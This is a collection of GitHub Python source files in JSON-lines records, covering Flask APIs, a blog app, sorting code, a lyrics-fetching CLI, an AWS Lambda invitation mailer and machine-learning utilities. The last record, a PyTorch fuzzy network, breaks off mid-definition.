LIBRARIES\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nimport sqlalchemy\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy import create_engine, inspect, func\n\nfrom flask import Flask,jsonify\n\nfrom datetime import datetime as dt\n\nimport numpy as np\n\n#IMPORT DATA\nhawaii_input=\"hawaii.sqlite\"\n\n#PREP\nBase=automap_base()\nengine=create_engine(f\"sqlite:///{hawaii_input}\")\nBase.prepare(engine,reflect=True)\n\nMmt=Base.classes.measurement\nStn=Base.classes.station\n\n\n\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef home():\n return(\n f\"This is the Home Page for Hawaii info on precipitation and Temperature observations
    \"\n f\"Available Routes:
    \"\n f\"- Precipitation:
    \"\n f\"/api/v1.0/precipitation

    \"\n f\"- Stations:
    \"\n f\"/api/v1.0/stations

    \"\n f\"- Temperature Observations:
    \"\n f\"/api/v1.0/tobs


    \"\n f\"-Start date (format should be yyyy-mm-dd):
    \"\n f\"/api/v1.0/

    \"\n f\"-Date range (format should be yyyy-mm-dd/yyyy-mm-dd):
    \"\n f\"/api/v1.0//\"\n )\n@app.route(\"/api/v1.0/precipitation\")\ndef precipitaion():\n session=Session(engine)\n \n#12M Info\n Months12=session.query(Mmt.id,Mmt.station,Mmt.date,Mmt.prcp,Mmt.tobs).\\\n filter(Mmt.date>\"2016-08-22\").\\\n order_by(Mmt.date.desc()).all()\n\n#12M Average Precipitation Info\n Months12_prcp=session.query(Mmt.date,func.avg(Mmt.prcp)).\\\n filter(Mmt.date>\"2016-08-22\").\\\n group_by(Mmt.date).\\\n order_by(Mmt.date.desc()).all()\n\n session.close()\n\n daily_averages=[]\n for date,prcp in Months12_prcp:\n date_dict={}\n date_dict[date]=prcp\n daily_averages.append(date_dict)\n\n return jsonify(daily_averages)\n\n\n@app.route(\"/api/v1.0/stations\")\ndef stations():\n session=Session(engine)\n\n stations=session.query(Stn.name).all()\n\n session.close()\n\n#Stations available\n all_stations=list(np.ravel(stations))\n return jsonify(all_stations)\n\n@app.route(\"/api/v1.0/tobs\")\ndef tobs():\n#12M Average Precipitation Info\n session=Session(engine)\n\n Months12_tobs=session.query(Mmt.date,Mmt.station,Mmt.tobs).\\\n filter(Mmt.date>\"2016-08-22\").\\\n group_by(Mmt.date).\\\n order_by(Mmt.date.desc()).all()\n\n session.close()\n\n temperatures=list(np.ravel(Months12_tobs))\n return jsonify(temperatures)\n\n@app.route(\"/api/v1.0/\")\ndef start(start):\n \n session=Session(engine)\n \n if start>\"2017-08-24\":\n return jsonify({\"error\":f\"Date should be before{session.query(func.max(Mmt.date)).all()}\"})\n \n stats_stations=[func.min(Mmt.tobs),\n func.max(Mmt.tobs),\n func.avg(Mmt.tobs)]\n stats_ma_active=session.query(*stats_stations).\\\n filter(Mmt.date>=start).all()\n\n session.close()\n\n return jsonify(stats_ma_active)\n\n@app.route(\"/api/v1.0//\")\ndef range(start_range,end_range):\n \n session=Session(engine)\n \n if start_range>\"2017-08-24\" or end_range<\"2010-01-01\":\n return jsonify({\"error\":f\"Date should be between{session.query(func.min(Mmt.date)).all()} and {session.query(func.max(Mmt.date)).all()}\"})\n\n\n stats_stations=[func.min(Mmt.tobs),\n func.max(Mmt.tobs),\n func.avg(Mmt.tobs)]\n stats_ma_active=session.query(*stats_stations).\\\n filter(Mmt.date>=start_range).\\\n filter(Mmt.date<=end_range).all()\n\n session.close()\n\n return jsonify(stats_ma_active)\nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"VarenkaRico/Surfs-Up-","sub_path":"Hawaii app.py","file_name":"Hawaii app.py","file_ext":"py","file_size_in_byte":3601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"21348596662","text":"import time \n\ns = time.time()\n\nx = []\n\ndef recurse(i=0):\n if i == 500:\n return 0\n recurse(i+1)\n return x.append(i)\n\nrecurse()\n\ne = time.time() - s\n\nprint(round(e, 8))\n","repo_name":"cmdline-batcheloranator/functional","sub_path":"speedComparison/5recursion.py","file_name":"5recursion.py","file_ext":"py","file_size_in_byte":184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"6857418740","text":"from flask import Flask, request, redirect, render_template, session, flash\nfrom flask_sqlalchemy import SQLAlchemy \n\napp = Flask(__name__)\napp.config['DEBUG'] = True\n\n# Note: the connection string after :// contains the following info:\n# user:password@server:portNumber/databaseName\n\napp.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://build-a-blog:launchcode@localhost:8889/build-a-blog'\napp.config['SQLALCHEMY_ECHO'] = True\ndb = SQLAlchemy(app)\n\n\nclass Blog(db.Model):\n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(120))\n entry = db.Column(db.String(240))\n\n def __init__(self, name, entry):\n self.name = name\n self.entry = entry \n\n\n@app.route('/blog')\ndef index():\n \n id_exists = request.args.get('id')\n if id_exists:\n single_blog = Blog.query.filter_by(id = id_exists).first()\n return render_template('singlepost.html', blog=single_blog)\n else: \n blogs = Blog.query.all()\n return render_template('blog.html', blogs=blogs)\n\n\n@app.route('/newpost', methods=['POST', 'GET'])\ndef new_post():\n\n if request.method == 'GET':\n return render_template('newpost.html')\n\n elif request.method == 'POST':\n name = request.form['name']\n entry = request.form['entry']\n name_error = ''\n entry_error = ''\n\n if \"\" == name:\n name_error = 'Title your blog'\n name = ''\n if \"\" == entry:\n entry_error = 'You have to write something!'\n entry = ''\n \n if name_error or entry_error:\n return render_template('newpost.html', name=name, entry=entry, name_error=name_error, entry_error=entry_error)\n\n else:\n new_blog = Blog(name,entry)\n name = request.form['name']\n entry = request.form['entry']\n \n db.session.add(new_blog)\n db.session.commit()\n blog = Blog.query.filter_by(name=name).first()\n return render_template('singlepost.html', blog=blog)\n \n \n \n\n \n\n\n\nif __name__ == '__main__':\n app.run()\n\n","repo_name":"lucas-homer/build-a-blog","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"5270759867","text":"# def quick_sort1(seq):\n# if seq == [] or len(seq) < 2:\n# return seq\n# pivot_index = 0\n# pivot = seq[pivot_index]\n# less_part = [i for i in seq[pivot_index+1:] if i <= pivot]\n# great_part = [i for i in seq[pivot_index+1:] if i > pivot]\n# return quick_sort1(less_part) + [pivot] + quick_sort1(great_part)\n#\n# import random\n# lst = list(range(10))\n# random.shuffle(lst)\n# lst = quick_sort1(lst)\n# print(lst)\n#\n# def quick_sort2(seq, beg, end):\n# if beg < end:\n# pivot = partition(seq, beg, end)\n# quick_sort2(seq, beg, pivot)\n# quick_sort2(seq, pivot+1, end)\n#\n# def partition(seq, beg, end):\n# pivot_index = beg\n# pivot = seq[pivot_index]\n# left = pivot_index + 1\n# right = end - 1\n# while True:\n# while left <= right and seq[left] < pivot:\n# left += 1\n# while left <= right and seq[right] > pivot:\n# right -= 1\n# if left > right:\n# break\n# seq[left], seq[right] = seq[right], seq[left]\n# seq[pivot_index], seq[right] = seq[right], seq[pivot_index]\n# return right\n# random.shuffle(lst)\n# quick_sort2(lst, 0, len(lst))\n# print(lst)\n\ndef quick_sort1(seq):\n if seq == [] or len(seq)<2:\n return seq\n else:\n pivot_index = 0\n pivot = seq[pivot_index]\n less_part = [i for i in seq[pivot_index+1:] if i <= pivot]\n great_part = [i for i in seq[pivot_index+1:] if i >pivot]\n return quick_sort1(less_part) + [pivot] + quick_sort1(great_part)\n\nimport random\nlst = list(range(10))\nrandom.shuffle(lst)\nlst = quick_sort1(lst)\nprint(lst)","repo_name":"Anthony-wj/python_code","sub_path":"python排序算法/5.Quicksort.py","file_name":"5.Quicksort.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"37838608697","text":"import os\nimport re\nfrom typing import Optional\n\nimport requests\nfrom bs4 import BeautifulSoup, UnicodeDammit\nfrom colorama import init, Fore, Style\nfrom html import unescape\nfrom unidecode import unidecode\n\nfrom swaglyrics import __version__, unsupported_txt, backend_url, api_timeout, genius_timeout\n\n\ndef clear() -> None:\n os.system('cls' if os.name == 'nt' else 'clear') # clear command window\n\n\n# matches braces with feat included or text after -, also adds support for Bollywood songs by matching (From \"\")\nbrc = re.compile(r'([(\\[](feat|ft|From \"[^\"]*\")[^)\\]]*[)\\]]|- .*)', re.I)\naln = re.compile(r'[^ \\-a-zA-Z0-9]+') # matches non space or - or alphanumeric characters\nspc = re.compile(' *- *| +') # matches one or more spaces\nwth = re.compile(r'(?: *\\(with )([^)]+)\\)') # capture text after with\nnlt = re.compile(r'[^\\x00-\\x7F\\x80-\\xFF\\u0100-\\u017F\\u0180-\\u024F\\u1E00-\\u1EFF]') # match only latin characters,\n# built using latin character tables (basic, supplement, extended a,b and extended additional)\n\n\ndef stripper(song: str, artist: str) -> str:\n \"\"\"\n Generate the url path given the song and artist to format the Genius URL with.\n Strips the song and artist of special characters and unresolved text such as 'feat.' or text within braces.\n Then concatenates both with hyphens replacing the blank spaces.\n Eg.\n >>>stripper('Paradise City', 'Guns n’ Roses')\n >>>'Guns-n-Roses-Paradise-City'\n Which then formats the url to https://genius.com/Guns-n-Roses-Paradise-City-lyrics\n :param song: currently playing song\n :param artist: song artist\n :return: formatted url path\n \"\"\"\n song = re.sub(brc, '', song).strip() # remove braces and included text with feat and text after '- '\n ft = wth.search(song) # find supporting artists if any\n if ft:\n song = song.replace(ft.group(), '') # remove (with supporting artists) from song\n ar = ft.group(1) # the supporting artist(s)\n if '&' in ar: # check if more than one supporting artist and add them to artist\n artist += f'-{ar}'\n else:\n artist += f'-and-{ar}'\n song_data = artist + '-' + song\n # swap some special characters\n url_data = song_data.replace('&', 'and')\n # replace /, !, _ with space to support more songs\n url_data = url_data.replace('/', ' ').replace('!', ' ').replace('_', ' ')\n for ch in ['Ø', 'ø']:\n url_data = url_data.replace(ch, '')\n url_data = re.sub(nlt, '', url_data) # remove non-latin characters before unidecode\n url_data = unidecode(url_data) # convert accents and other diacritics\n url_data = re.sub(aln, '', url_data) # remove punctuation and other characters\n url_data = re.sub(spc, '-', url_data.strip()) # substitute one or more spaces to -\n return url_data\n\n\ndef get_lyrics(song: str, artist: str) -> Optional[str]:\n \"\"\"\n Get lyrics from Genius given the song and artist.\n Formats the URL with the stripped url path to fetch the lyrics.\n :param song: currently playing song\n :param artist: song artist\n :return: song lyrics or None if lyrics unavailable\n \"\"\"\n url_data = stripper(song, artist) # generate url path using stripper()\n if url_data.startswith('-') or url_data.endswith('-'):\n return None # url path had either song in non-latin, artist in non-latin, or both\n url = f'https://genius.com/{url_data}-lyrics' # format the url with the url path\n try:\n page = requests.get(url, timeout=genius_timeout)\n page.raise_for_status()\n except requests.exceptions.HTTPError:\n url_data = requests.get(f'{backend_url}/stripper', data={\n 'song': song,\n 'artist': artist}, timeout=api_timeout).text\n if not url_data:\n return None\n url = 'https://genius.com/{}-lyrics'.format(url_data)\n page = requests.get(url, timeout=genius_timeout)\n\n html = BeautifulSoup(page.text, \"html.parser\")\n lyrics_path = html.find(\"div\", class_=\"lyrics\") # finding div on Genius containing the lyrics\n if lyrics_path:\n lyrics = UnicodeDammit(lyrics_path.get_text().strip()).unicode_markup\n else:\n # hotfix!\n lyrics_path = html.find_all(\"div\", class_=re.compile(\"^Lyrics__Container\"))\n lyrics_data = []\n for x in lyrics_path:\n lyrics_data.append(UnicodeDammit(re.sub(\"<.*?>\", \"\", str(x).replace(\"
    \", \"\\n\"))).unicode_markup)\n\n lyrics = \"\\n\".join(unescape(lyrics_data)) # also convert escaped characters to symbols\n return lyrics\n\n\ndef lyrics(song: str, artist: str, make_issue: bool = True) -> str:\n \"\"\"\n Displays the fetched lyrics if song playing and handles if lyrics unavailable.\n :param song: currently playing song\n :param artist: song artist\n :param make_issue: whether to make an issue on GitHub if song unsupported\n :return: lyrics if song playing\n \"\"\"\n try:\n with open(unsupported_txt, encoding='utf-8') as unsupported:\n if f'{song} by {artist}' in unsupported.read():\n return f'Lyrics unavailable for {song} by {artist}.\\n'\n except FileNotFoundError:\n pass\n init(autoreset=True)\n print(Fore.CYAN + Style.BRIGHT + f'\\nGetting lyrics for {song} by {artist}.\\n')\n lyrics = get_lyrics(song, artist)\n if not lyrics:\n lyrics = f\"Couldn't get lyrics for {song} by {artist}.\\n\"\n # log song and artist for which lyrics couldn't be obtained\n with open(unsupported_txt, 'a', encoding='utf-8') as f:\n f.write(f'{song} by {artist} \\n')\n if make_issue and re.search(aln, song + artist):\n # only runs if non space or non alphanumeric characters are present\n r = requests.post(f'{backend_url}/unsupported', data={\n 'song': song,\n 'artist': artist,\n 'version': __version__\n }, timeout=api_timeout)\n if r.status_code == 200:\n lyrics += r.text\n return lyrics\n\n\nif __name__ == '__main__':\n pass\n","repo_name":"SwagLyrics/SwagLyrics-For-Spotify","sub_path":"swaglyrics/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":6027,"program_lang":"python","lang":"en","doc_type":"code","stars":308,"dataset":"github-code","pt":"35"} +{"seq_id":"72763142502","text":"from referenceConsts import *\nfrom referenceItem import *\nfrom errors import *\n\ndef parseReference(reference):\n # Turn the reference from a raw string into a list of python objects\n\n # Split into items that need to be parsed\n itemsInitiallySplit = reference.split(MD_REFERENCE_ITEM_SPLITTER)\n\n # Parse each item in the list to turn it into an object\n referenceItems = []\n for idx, itemStr in enumerate(itemsInitiallySplit):\n try:\n referenceItems.append(parseReferenceItem(itemStr))\n\n # If there is a field missing from the item, warn the user\n except FieldMissing:\n print('Warning: field missing\\nItem information:\\n\\n', itemStr)\n print('(item index: {})'.format(idx))\n raise FieldMissing\n \n # If there are extra fields in the item, warn the user\n except ExtraFields:\n print('Warning: extra field\\nItem information:\\n\\n', itemStr)\n print('(item index: {})'.format(idx))\n raise ExtraFields\n\n return referenceItems\n\ndef parseReferenceItem(itemStr):\n # Turn a single item from a string into a python object\n\n itemStr = itemStr.strip('\\n') # clear leading and trailing newlines\n itemFields = itemStr.split(MD_REFERENCE_ITEM_FIELD_SPLITTER) # split into fields\n try:\n referenceItem = ReferenceItem(*itemFields)\n\n except TypeError:\n # Check if the errors match some existing error types\n if len(itemFields) < REFERENCE_ITEM_FIELD_COUNT:\n raise FieldMissing\n elif len(itemFields) > REFERENCE_ITEM_FIELD_COUNT:\n raise ExtraFields\n # If the error is unknown, just keep it as a TypeError\n else:\n raise TypeError\n\n return referenceItem\n","repo_name":"ThatCoolCoder/wrk.js","sub_path":"userReference/referenceParser.py","file_name":"referenceParser.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"27826312940","text":"import os\nimport cv2\nimport json \n\n# we choose 100 images for each category (50 from LVIS, 50 from OpenImage)\n# we set a max width and height in case we get oversize image\nif __name__ == '__main__':\n max_length = 1200\n image_num_for_each = 100\n LVIS_ROOT = './LVIS/selected_img/'\n LVIS_LABEL_ROOT = './LVIS/selected_label/'\n OPENIMAGE_ROOT = './OpenImages/selected_img/'\n OPENIMAGE_LABEL_ROOT = './OpenImages/selected_label/'\n FEDERATED_ROOT = './federated_dataset/selected_img/'\n FEDERATED_LABEL_ROOT = './federated_dataset/selected_label/'\n mycats = ['Person', 'Place Identifier', 'Identity', 'Home interior', 'Vehicle Plate',\n 'Bystander', 'Food', 'Paper&Document&Label', 'Screen', 'Clothing', 'Scenery',\n 'Pet', 'Book', 'Photo', 'Machine', 'Table', 'Electronic Devices', 'Cosmetics', 'Toy',\n 'Finger', 'Cigarettes', 'Musical instrument', 'Accessory']\n #we do not want duplicated images\n saved_img = []\n for mycat in mycats:\n # we first get the file number for each category in these two dataset\n # if either is less than 50, we need to require more from the other one.\n # if add up it is less than 100, we require the max number\n lvis_num = 0\n openimages_num = 0\n if not os.path.exists(FEDERATED_ROOT + mycat):\n os.mkdir(FEDERATED_ROOT + mycat)\n if not os.path.exists(FEDERATED_LABEL_ROOT + mycat):\n os.mkdir(FEDERATED_LABEL_ROOT + mycat)\n if os.path.exists(LVIS_ROOT + mycat):\n lvis_num = len(os.listdir(LVIS_ROOT + mycat))\n if os.path.exists(OPENIMAGE_ROOT + mycat):\n openimages_num = len(os.listdir(OPENIMAGE_ROOT + mycat))\n if lvis_num + openimages_num >= 100:\n if lvis_num < 50:\n openimages_num = 100 - lvis_num\n elif openimages_num < 50:\n lvis_num = 100 - openimages_num\n else:\n lvis_num = 50\n openimages_num = 50\n if lvis_num:\n lvis_imgs = sorted(os.listdir(LVIS_ROOT + mycat))\n if openimages_num:\n openimages_imgs = sorted(os.listdir(OPENIMAGE_ROOT + mycat))\n lvis_cur = 0\n openimages_cur = 0\n while lvis_num:\n img = cv2.imread(os.path.join(LVIS_ROOT, mycat, lvis_imgs[lvis_cur]))\n if img.shape[0] <= max_length and img.shape[1] <= max_length and lvis_imgs[lvis_cur] not in saved_img:\n cv2.imwrite(os.path.join(FEDERATED_ROOT, mycat, lvis_imgs[lvis_cur]), img)\n cv2.imwrite(os.path.join('./federated_dataset/all_img', lvis_imgs[lvis_cur]), img)\n with open(os.path.join(LVIS_LABEL_ROOT,mycat,lvis_imgs[lvis_cur][:-4] + '_label')) as f,\\\n open(os.path.join(FEDERATED_LABEL_ROOT,mycat,lvis_imgs[lvis_cur][:-4] + '_label'), 'w') as f1,\\\n open(os.path.join('./federated_dataset/all_label',lvis_imgs[lvis_cur][:-4] + '_label'), 'w') as f2:\n res = f.read()\n f1.write(res)\n f2.write(res)\n lvis_num -= 1\n saved_img.append(lvis_imgs[lvis_cur])\n lvis_cur += 1\n if lvis_cur >= len(lvis_imgs):\n break\n\n while openimages_num:\n img = cv2.imread(os.path.join(OPENIMAGE_ROOT, mycat, openimages_imgs[openimages_cur]))\n if img.shape[0] <= max_length and img.shape[1] <= max_length and openimages_imgs[openimages_cur] not in saved_img:\n cv2.imwrite(os.path.join(FEDERATED_ROOT, mycat, openimages_imgs[openimages_cur]), img)\n cv2.imwrite(os.path.join('./federated_dataset/all_img', openimages_imgs[openimages_cur]), img)\n with open(os.path.join(OPENIMAGE_LABEL_ROOT,mycat,openimages_imgs[openimages_cur][:-4] + '_label')) as f,\\\n open(os.path.join(FEDERATED_LABEL_ROOT,mycat,openimages_imgs[openimages_cur][:-4] + '_label'), 'w') as f1,\\\n open(os.path.join('./federated_dataset/all_label',openimages_imgs[openimages_cur][:-4] + '_label'), 'w') as f2:\n res = f.read()\n f1.write(res)\n f2.write(res)\n openimages_num -= 1\n saved_img.append(openimages_imgs[openimages_cur])\n openimages_cur += 1\n if openimages_cur >= len(openimages_imgs):\n break\n \n\n ","repo_name":"AnranXu/iui_dataset","sub_path":"dataset/select_img_and_label.py","file_name":"select_img_and_label.py","file_ext":"py","file_size_in_byte":4432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"7809928882","text":"#\n# mock_http.py\n#\n# Written by Marc Hedlund .\n# Released under the same terms as wsgi_intercept.\n#\n\n\"\"\"\nThis is a dirt-simple example of using wsgi_intercept to set up a mock\nobject HTTP server for testing HTTP clients.\n\"\"\"\n\nimport sys\nsys.path.insert(0, 'urllib2')\n\nimport unittest\nimport urllib2\nimport wsgi_intercept\nfrom wsgi_intercept import urllib2_intercept as wsgi_urllib2\n\ntest_page = \"\"\"\n \n \n Mock HTTP Server\n \n \n

    Mock HTTP Server

    \n

    You have successfully reached the Mock HTTP Server.

    \n \n \n\"\"\"\n\nclass MockHttpServer:\n def __init__(self, port=8000):\n \"\"\"Initializes the mock server on localhost port 8000. Use\n urllib2.urlopen('http://localhost:8000') to reach the test\n server. The constructor takes a 'port=' argument if you\n want the server to listen on a different port.\"\"\"\n wsgi_intercept.add_wsgi_intercept('localhost', port, self.interceptor)\n wsgi_urllib2.install_opener()\n \n def handleResponse(self, environment, start_response):\n \"\"\"Processes a request to the mock server, and returns a\n String object containing the response document. The mock server\n will send this to the client code, which can read it as a\n StringIO document. This example always returns a successful\n response to any request; a more intricate mock server could\n examine the request environment to determine what sort of\n response to give.\"\"\"\n status = \"200 OK\"\n headers = [('Content-Type', 'text/html')]\n start_response(status, headers)\n return test_page\n \n def interceptor(self):\n \"\"\"Sets this class as the handler for intercepted urllib2\n requests.\"\"\"\n return self.handleResponse\n\nclass MockHttpServerTest(unittest.TestCase):\n \"\"\"Demonstrates the use of the MockHttpServer from client code.\"\"\"\n def setUp(self):\n self.server = MockHttpServer()\n \n def test_simple_get(self):\n result = urllib2.urlopen('http://localhost:8000/')\n self.assertEqual(result.read(), test_page)\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"wesabe/fixofx","sub_path":"3rdparty/wsgi_intercept/mock_http.py","file_name":"mock_http.py","file_ext":"py","file_size_in_byte":2242,"program_lang":"python","lang":"en","doc_type":"code","stars":99,"dataset":"github-code","pt":"35"} +{"seq_id":"13299027118","text":"import json\nimport re\nimport boto3\nimport uuid\nfrom botocore.exceptions import ClientError\n\ndef get_u_id_from_email(email):\n data_type = type(email).__name__\n print(data_type)\n dynamodb = boto3.resource('dynamodb')\n table_name = 'User' # Replace with your actual DynamoDB table name\n\n table = dynamodb.Table(table_name)\n\n # Scan the DynamoDB table to find the user with the provided email\n response = table.scan(\n FilterExpression='u_email = :email',\n ExpressionAttributeValues={':email': email}\n )\n\n # Check if a user with the provided email exists\n if 'Items' not in response or not response['Items']:\n print(f\"ID not found for email: {email}\")\n return None\n\n # Extract the u_id from the retrieved record\n u_id = response['Items'][0]['u_id']\n\n return u_id\n\ndef get_t_name_from_id(t_id):\n dynamodb = boto3.resource('dynamodb')\n table_name = 'TeamDetails' # Replace with your actual DynamoDB table name\n\n table = dynamodb.Table(table_name)\n\n # Scan the DynamoDB table to find the team with the provided name\n response = table.scan(\n FilterExpression='t_id = :t_id',\n ExpressionAttributeValues={':t_id': t_id}\n )\n\n # Check if a team with the provided name exists\n if 'Items' not in response or not response['Items']:\n print(f\"Team not found with name: {t_id}\")\n return None\n\n # Extract the t_id from the retrieved record\n t_name = response['Items'][0]['t_name']\n\n return t_name\n\ndef lambda_handler(event, context):\n sqs_client = boto3.client('sqs')\n\n for record in event['Records']:\n message_body = json.loads(record['body'])\n t_id = message_body['t_id']\n user_email = message_body['user_email']\n\n u_id = get_u_id_from_email(user_email)\n if u_id:\n t_name = get_t_name_from_id(t_id)\n if t_name:\n p_id = str(uuid.uuid4())\n add_player_status_entry(u_id, p_id, t_id, t_name, \"pending\", user_email)\n print(f\"Added player status for u_id: {u_id}, t_id: {t_id}\")\n\n try:\n send_invitation_email(user_email, t_name, p_id)\n print(f\"Sent invitation email to: {user_email}\")\n except ClientError as e:\n if e.response['Error']['Code'] == 'InvalidParameter':\n print(\"Invalid parameter when calling the Publish operation.\")\n # Handle the error here or log it for debugging purposes\n # Optionally, you can raise an exception to stop the Lambda from retrying\n raise\n else:\n print(\"Unexpected error:\", e)\n raise\n\n\ndef add_player_status_entry(u_id, p_id, t_id, t_name, status, u_email):\n dynamodb = boto3.resource('dynamodb')\n table_name = 'PlayerStatusDetails' # Replace with your actual DynamoDB table name\n table = dynamodb.Table(table_name)\n # PutItem to add a new entry in the PlayerStatus table\n response = table.put_item(\n Item={\n 'p_id': p_id,\n 'u_id': u_id,\n 't_id': t_id,\n 'u_email': u_email,\n 't_name': t_name,\n 'status': status\n }\n )\n\ndef send_invitation_email(user_email, t_name, p_id):\n # Customize the email message and links based on t_name and user_email\n subject = f'Invitation to join team {t_name}'\n message = f'Hello, you have been invited to join the team {t_name}. Click the links below to accept or reject the invitation.\\n\\n'\n accept_link = f'https://8zeda73qq4.execute-api.us-east-1.amazonaws.com/first/handleinvitationtest?team={p_id}&email={user_email}&action=accept'\n reject_link = f'https://8zeda73qq4.execute-api.us-east-1.amazonaws.com/first/handleinvitationtest?team={p_id}&email={user_email}&action=reject'\n message += f'Accept: {accept_link}\\n'\n message += f'Reject: {reject_link}'\n\n # Subscribe the user's email address to the SNS topic\n sns_client = boto3.client('sns')\n topic_name = f'EmailSubscription-{re.sub(r\"[^a-zA-Z0-9]\", \"\", user_email)}'\n response = sns_client.create_topic(Name=topic_name)\n topic_arn = response['TopicArn']\n sns_client.subscribe(TopicArn=topic_arn, Protocol='email', Endpoint=user_email)\n\n # Send the email using SNS\n sns_client.publish(TopicArn=topic_arn, Message=message)\n","repo_name":"harshkathiria/Serverless-Trivia-Titans","sub_path":"backend/Module3/InvitationSNS/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":4442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"26727189823","text":"import signal\nimport time\n\nfrom modules import options\nfrom modules.model import load_model\nfrom modules.options import cmd_opts\nfrom modules.api import create_api\n\n\ndef init():\n load_model()\n\n\ndef wait_on_server(api=None):\n while 1:\n time.sleep(1)\n if options.need_restart:\n options.need_restart = False\n time.sleep(0.5)\n api.close()\n time.sleep(0.5)\n break\n\n\ninstance = None\n\n\ndef handler(signum, frame):\n global instance\n res = input(\"Ctrl-c was pressed. Do you really want to exit? y/n \")\n if res == 'y':\n instance.close()\n exit(1)\n\n\nsignal.signal(signal.SIGINT, handler)\n\n\ndef main():\n global instance\n while True:\n instance = create_api()\n instance.queue(concurrency_count=5, max_size=64).launch(\n server_name=\"0.0.0.0\" if cmd_opts.listen else None,\n server_port=cmd_opts.port,\n share=False,\n prevent_thread_lock=True,\n show_api=True\n )\n wait_on_server(instance)\n\n\nif __name__ == \"__main__\":\n init()\n main()\n","repo_name":"lsvih/NAG-luotuo","sub_path":"api_server.py","file_name":"api_server.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"886587025","text":"import torch\nimport torch.nn as nn\n\nclass FuzzyLayer(nn.Module):\n def __init__(self, fuzzynum, channel):\n super(FuzzyLayer, self).__init__()\n self.n = fuzzynum\n self.channel = channel\n # 2维卷积\n self.conv1 = nn.Conv2d(self.channel, 1, 3, padding=1)\n self.conv2 = nn.Conv2d(1, self.channel, 3, padding=1)\n self.mu = nn.Parameter(torch.randn((self.channel, self.n)))\n self.sigma = nn.Parameter(torch.randn((self.channel, self.n)))\n self.bn1 = nn.BatchNorm2d(1, affine=True)\n self.bn2 = nn.BatchNorm2d(self.channel, affine=True)\n\n def forward(self, x):\n x = self.conv1(x)\n tmp = torch.tensor(np.zeros((x.size()[0], x.size()[1], x.size()[2], x.size()[3])), dtype=torch.float).cuda()\n for num, channel, w, h in itertools.product(range(x.size()[0]), range(x.size()[1]), range(x.size()[2]),\n range(x.size()[3])):\n for f in range(self.n):\n tmp[num][channel][w][h] -= ((x[num][channel][w][h] - self.mu[channel][f]) / self.sigma[channel][f]) ** 2\n fNeural = self.bn2(self.conv2(self.bn1(torch.exp(tmp))))\n return fNeural\n\n\nclass FuzzyNet(nn.Module):\n def __init__(self, n_class=6, testing=False):\n super(FuzzyNet, self).__init__()\n\n self.fuzzy_4 = FuzzyLayer(fuzzynum=1, channel=512)\n self.fuzzy_3 = FuzzyLayer(fuzzynum=0, channel=256)\n self.fuzzy_2 = FuzzyLayer(fuzzynum=0, channel=128)\n self.fuzzy_1 = FuzzyLayer(fuzzynum=0, channel=64)\n\n self.conv1_1 = nn.Conv2d(3, 64, 3, padding=1)\n self.relu1_1 = nn.ReLU(inplace=True)\n self.conv1_2 = nn.Conv2d(64, 64, 3, padding=1)\n self.relu1_2 = nn.ReLU(inplace=True)\n self.pool1 = nn.MaxPool2d(2, stride=2, ceil_mode=True)\n # 1/2\n\n self.conv2_1 = nn.Conv2d(64, 128, 3, padding=1)\n self.relu2_1 = nn.ReLU(inplace=True)\n self.conv2_2 = nn.Conv2d(128, 128, 3, padding=1)\n self.relu2_2 = nn.ReLU(inplace=True)\n\n self.conv2_r1 = nn.Conv2d(64, 64, 1)\n self.bn2_r1 = nn.BatchNorm2d(64, affine=True)\n self.relu2_r1 = nn.ReLU(inplace=True)\n self.conv2_r2 = nn.Conv2d(64, 128, 3, padding=1)\n self.bn2_r2 = nn.BatchNorm2d(128, affine=True)\n self.relu2_r2 = nn.ReLU(inplace=True)\n self.conv2_r3 = nn.Conv2d(128, 128, 1)\n\n self.pool2 = nn.MaxPool2d(2, stride=2, ceil_mode=True)\n # 1/4\n\n self.conv3_1 = nn.Conv2d(128, 256, 3, padding=1)\n self.relu3_1 = nn.ReLU(inplace=True)\n self.conv3_2 = nn.Conv2d(256, 256, 3, padding=1)\n self.relu3_2 = nn.ReLU(inplace=True)\n self.conv3_3 = nn.Conv2d(256, 256, 3, padding=1)\n self.relu3_3 = nn.ReLU(inplace=True)\n\n self.conv3_r1 = nn.Conv2d(128, 128, 1)\n self.bn3_r1 = nn.BatchNorm2d(128, affine=True)\n self.relu3_r1 = nn.ReLU(inplace=True)\n self.conv3_r2 = nn.Conv2d(128, 256, 3, padding=1)\n self.bn3_r2 = nn.BatchNorm2d(256, affine=True)\n self.relu3_r2 = nn.ReLU(inplace=True)\n self.conv3_r3 = nn.Conv2d(256, 256, 1)\n\n self.pool3 = nn.MaxPool2d(2, stride=2, ceil_mode=True)\n # 1/8\n\n self.conv4_1 = nn.Conv2d(256, 512, 3, padding=1)\n self.relu4_1 = nn.ReLU(inplace=True)\n self.conv4_2 = nn.Conv2d(512, 512, 3, padding=1)\n self.relu4_2 = nn.ReLU(inplace=True)\n self.conv4_3 = nn.Conv2d(512, 512, 3, padding=1)\n self.relu4_3 = 